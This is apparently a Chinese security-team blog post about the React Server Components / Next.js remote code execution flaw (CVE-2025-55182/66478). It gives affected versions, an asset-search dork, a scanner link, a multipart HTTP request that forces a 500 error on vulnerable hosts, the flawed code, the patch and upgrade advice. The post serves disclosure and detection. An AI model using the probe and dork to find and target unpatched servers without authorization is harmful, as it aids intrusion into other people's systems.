首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >Next.js RCE(CVE-2025-66478/CVE-2025-55182)

Next.js RCE(CVE-2025-66478/CVE-2025-55182)

作者头像
OneTS安全团队
发布2025-12-24 15:15:24
发布2025-12-24 15:15:24
910
举报
文章被收录于专栏:OneTS安全团队OneTS安全团队

声明

本文属于OneTS安全团队成员98的原创文章,转载请声明出处!本文章仅用于学习交流使用,因利用此文信息而造成的任何直接或间接的后果及损失,均由使用者本人负责,OneTS安全团队及文章作者不为此承担任何责任。

漏洞描述

11 月 29 日,Lachlan Davidson 报告称 React 中存在一个安全漏洞,该漏洞允许未经身份验证的远程代码执行,其原理是利用 React 解码发送到 React 服务器函数端点的有效负载的方式中的一个缺陷。

该漏洞已披露为CVE-2025-55182/CVE-2025-66478,CVSS 评级为 10.0。

漏洞影响版本

该漏洞存在于以下版本的软件中:19.0、19.1.0、19.1.1 和 19.2.0

  • react-server-dom-webpack
  • react-server-dom-parcel
  • react-server-dom-turbopack

资产测绘平台Dork

代码语言:javascript
复制
body="create-next-app"

漏洞复现

工具地址:

https://github.com/assetnote/react2shell-scanner/blob/master/scanner.py

代码语言:javascript
复制
POST / HTTP/1.1
Host: hostname
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Next-Router-State-Tree: %5B%22%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%2Cnull%2Cnull%5D%7D%2Cnull%2Cnull%2Ctrue%5D
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 232
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

{}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

["$1:a:a"]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

如果响应包是如下内容,说明存在漏洞

代码语言:javascript
复制
HTTP/1.1 500 Internal Server Error
Vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch, Accept-Encoding
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
x-nextjs-cache: HIT
x-nextjs-prerender: 1
Content-Type: text/x-component
Date: Fri, 05 Dec 2025 02:16:41 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 76

0:{"a":"$@1","f":"","b":"P7Y8oApw5sNqS49d5VxGA"}
1:E{"digest":"4263110034"}

为什么会出现

代码语言:javascript
复制
E{"digest"

是因为 React-Server 依赖项使用冒号来分隔对象属性

代码语言:javascript
复制
function getOutlinedModel<T>(
  response: Response,
  reference: string,
  parentObject: Object,
  key: string,
  map: (response: Response, model: any, parentObject: Object, key: string) => T,
): T {
  const path = reference.split(':');
// ... snip ...
  for (let i = 1; i < path.length; i++) {
    value = value[path[i]];
  }

例如,如果我们像这样在multipart/form-data请求中传递 JSON:

代码语言:javascript
复制
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

["$1:a:b"]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

{"a":{"b":"foo"}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

将转化为以下内容:

代码语言:javascript
复制
"$1:a:b" -> {"a":{"b":"foo"}}.a.b -> "foo"

在存在漏洞的 React Server 版本中,我们可以通过以下 multipart 请求强制返回 500 错误:

代码语言:javascript
复制
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

["$1:a:a"]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

{}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

之所以会引发异常,是因为它最终转化为到以下内容:

代码语言:javascript
复制
"$1:a:a" -> {}.a.a -> (undefined).a -> 500

React Server Components 的补丁版本为这种冒号表示法添加了额外的检查,从而防止崩溃发生:

代码语言:javascript
复制
    const name = path[i];
    if (typeof value === 'object' && hasOwnProperty.call(value, name)) {
      value = value[name];
    }

这意味着补丁版本,将不再收到 500 错误。

漏洞修复建议

版本19.0.1、19.1.2和19.2.1中已引入修复程序。如果您正在使用上述任何软件包,请立即升级到已修复的版本。

参考链接:

https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components

https://react2shell.com/

https://github.com/assetnote/react2shell-scanner/blob/master/scanner.py

https://slcyber.io/research-center/high-fidelity-detection-mechanism-for-rsc-next-js-rce-cve-2025-55182-cve-2025-66478/

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2025-12-05,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 OneTS安全团队 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档